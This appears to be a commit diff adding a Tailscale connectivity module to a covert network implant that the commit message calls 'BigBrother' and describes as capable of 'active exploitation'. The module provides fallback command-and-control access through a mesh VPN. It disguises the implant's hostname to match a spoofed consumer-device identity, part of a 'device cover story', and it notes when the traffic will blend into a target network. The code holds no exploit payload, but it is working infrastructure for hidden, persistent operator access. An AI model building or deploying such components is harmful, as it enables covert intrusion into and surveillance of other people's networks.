Initial public release
Full BigBrother network implant - passive SOC + active exploitation. Personal identifiers removed; all capabilities intact. See README.md for setup and docs/deployment.md for detailed deployment.
This commit is contained in:
@@ -0,0 +1,290 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Tailscale module — fallback operator access via Tailscale mesh VPN.
|
||||
|
||||
FALLBACK ONLY. Tailscale maintains persistent connections to coordination
|
||||
servers — it is chatty by design. Use only when:
|
||||
1. WireGuard is blocked by the target network
|
||||
2. Target network already has Tailscale traffic (blends in)
|
||||
|
||||
Manages the tailscaled daemon via subprocess. Authenticates with a
|
||||
per-engagement auth key and sets hostname to match the MAC profile
|
||||
(e.g., "amazon-fire-tv-xxx") for consistency with the device cover story.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
TAILSCALE_BIN = "/usr/bin/tailscale"
|
||||
TAILSCALED_BIN = "/usr/sbin/tailscaled"
|
||||
STARTUP_TIMEOUT = 30 # seconds to wait for tailscaled to be ready
|
||||
|
||||
|
||||
class Tailscale(BaseModule):
|
||||
"""Fallback C2 — Tailscale mesh VPN managed as subprocess."""
|
||||
|
||||
name = "tailscale"
|
||||
module_type = "connectivity"
|
||||
priority = -150
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._daemon_proc: Optional[subprocess.Popen] = None
|
||||
self._auth_key: Optional[str] = None
|
||||
self._hostname: Optional[str] = None
|
||||
self._connected = False
|
||||
self._tailscale_ip: Optional[str] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
ts_cfg = self.config.get("connectivity", {}).get("tailscale", {})
|
||||
if not ts_cfg:
|
||||
logger.error("No tailscale config in bigbrother.yaml")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._auth_key = ts_cfg.get("auth_key")
|
||||
self._hostname = ts_cfg.get("hostname")
|
||||
|
||||
if not self._auth_key:
|
||||
logger.error("Tailscale auth_key not configured")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# If no hostname specified, try to match MAC profile
|
||||
if not self._hostname:
|
||||
mac_hostname = self.state.get(
|
||||
"mac_manager", "dhcp_hostname", default=None
|
||||
)
|
||||
if mac_hostname:
|
||||
self._hostname = mac_hostname.replace(" ", "-").lower()
|
||||
else:
|
||||
self._hostname = f"bb-{os.urandom(3).hex()}"
|
||||
|
||||
# Start tailscaled daemon
|
||||
if not self._start_daemon(ts_cfg):
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
# Authenticate and bring up
|
||||
if not self.up(self._auth_key):
|
||||
logger.error("Failed to bring Tailscale up")
|
||||
self._stop_daemon()
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self._connected = True
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "up",
|
||||
"ip": self._tailscale_ip, "hostname": self._hostname},
|
||||
source_module=self.name)
|
||||
logger.info("Tailscale up — hostname=%s, ip=%s",
|
||||
self._hostname, self._tailscale_ip)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.down()
|
||||
self._stop_daemon()
|
||||
self._running = False
|
||||
self._connected = False
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("CONNECTIVITY_CHANGED",
|
||||
{"module": self.name, "state": "down"},
|
||||
source_module=self.name)
|
||||
logger.info("Tailscale stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"connected": self._connected,
|
||||
"ip": self._tailscale_ip,
|
||||
"hostname": self._hostname,
|
||||
"daemon_pid": self._daemon_proc.pid if self._daemon_proc else None,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
return self.is_connected()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Tailscale operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def up(self, auth_key: str) -> bool:
|
||||
"""Authenticate and bring Tailscale up with the given auth key."""
|
||||
try:
|
||||
cmd = [TAILSCALE_BIN, "up",
|
||||
"--authkey", auth_key,
|
||||
"--hostname", self._hostname,
|
||||
"--accept-routes"]
|
||||
|
||||
result = subprocess.run(
|
||||
cmd, capture_output=True, text=True, timeout=30,
|
||||
)
|
||||
|
||||
if result.returncode != 0:
|
||||
logger.error("tailscale up failed: %s", result.stderr.strip())
|
||||
return False
|
||||
|
||||
# Get assigned IP
|
||||
self._tailscale_ip = self.get_ip()
|
||||
return self._tailscale_ip is not None
|
||||
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.error("tailscale up timed out")
|
||||
return False
|
||||
|
||||
def down(self) -> bool:
|
||||
"""Bring Tailscale down (logout and disconnect)."""
|
||||
try:
|
||||
subprocess.run(
|
||||
[TAILSCALE_BIN, "logout"],
|
||||
capture_output=True, timeout=15,
|
||||
)
|
||||
subprocess.run(
|
||||
[TAILSCALE_BIN, "down"],
|
||||
capture_output=True, timeout=15,
|
||||
)
|
||||
self._connected = False
|
||||
return True
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
|
||||
logger.warning("Error during tailscale down: %s", exc)
|
||||
return False
|
||||
|
||||
def is_connected(self) -> bool:
|
||||
"""Check if Tailscale is connected and has an IP."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[TAILSCALE_BIN, "status", "--json"],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
return False
|
||||
|
||||
import json
|
||||
status = json.loads(result.stdout)
|
||||
backend_state = status.get("BackendState", "")
|
||||
self._connected = backend_state == "Running"
|
||||
return self._connected
|
||||
|
||||
except (subprocess.TimeoutExpired, ValueError, KeyError):
|
||||
return False
|
||||
|
||||
def get_ip(self) -> Optional[str]:
|
||||
"""Get the Tailscale IPv4 address."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[TAILSCALE_BIN, "ip", "-4"],
|
||||
capture_output=True, text=True, timeout=10,
|
||||
)
|
||||
if result.returncode == 0 and result.stdout.strip():
|
||||
ip = result.stdout.strip().splitlines()[0]
|
||||
self._tailscale_ip = ip
|
||||
return ip
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired):
|
||||
pass
|
||||
return None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Daemon management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _start_daemon(self, ts_cfg: dict) -> bool:
|
||||
"""Start tailscaled as a managed subprocess."""
|
||||
state_dir = ts_cfg.get("state_dir", "/var/lib/tailscale")
|
||||
socket_path = ts_cfg.get("socket", "/var/run/tailscale/tailscaled.sock")
|
||||
|
||||
os.makedirs(state_dir, exist_ok=True)
|
||||
os.makedirs(os.path.dirname(socket_path), exist_ok=True)
|
||||
|
||||
cmd = [
|
||||
TAILSCALED_BIN,
|
||||
f"--state={state_dir}/tailscaled.state",
|
||||
f"--socket={socket_path}",
|
||||
"--tun=userspace-networking",
|
||||
]
|
||||
|
||||
try:
|
||||
self._daemon_proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.DEVNULL,
|
||||
stderr=subprocess.PIPE,
|
||||
)
|
||||
except FileNotFoundError:
|
||||
logger.error("tailscaled binary not found at %s", TAILSCALED_BIN)
|
||||
return False
|
||||
except OSError as exc:
|
||||
logger.error("Failed to start tailscaled: %s", exc)
|
||||
return False
|
||||
|
||||
# Wait for daemon to be ready
|
||||
deadline = time.time() + STARTUP_TIMEOUT
|
||||
while time.time() < deadline:
|
||||
if self._daemon_proc.poll() is not None:
|
||||
stderr = self._daemon_proc.stderr.read().decode(errors='replace')
|
||||
logger.error("tailscaled exited prematurely: %s", stderr[:500])
|
||||
return False
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[TAILSCALE_BIN, "status"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
# Any response (even "not logged in") means daemon is ready
|
||||
if result.returncode in (0, 1):
|
||||
logger.debug("tailscaled is ready")
|
||||
return True
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
time.sleep(1.0)
|
||||
|
||||
logger.error("tailscaled did not become ready within %ds", STARTUP_TIMEOUT)
|
||||
self._stop_daemon()
|
||||
return False
|
||||
|
||||
def _stop_daemon(self) -> None:
|
||||
"""Stop the tailscaled subprocess."""
|
||||
if self._daemon_proc is None:
|
||||
return
|
||||
|
||||
if self._daemon_proc.poll() is None:
|
||||
try:
|
||||
self._daemon_proc.terminate()
|
||||
self._daemon_proc.wait(timeout=5.0)
|
||||
except subprocess.TimeoutExpired:
|
||||
logger.warning("tailscaled did not stop after SIGTERM, killing")
|
||||
self._daemon_proc.kill()
|
||||
try:
|
||||
self._daemon_proc.wait(timeout=2.0)
|
||||
except subprocess.TimeoutExpired:
|
||||
pass
|
||||
|
||||
self._daemon_proc = None
|
||||
Reference in New Issue
Block a user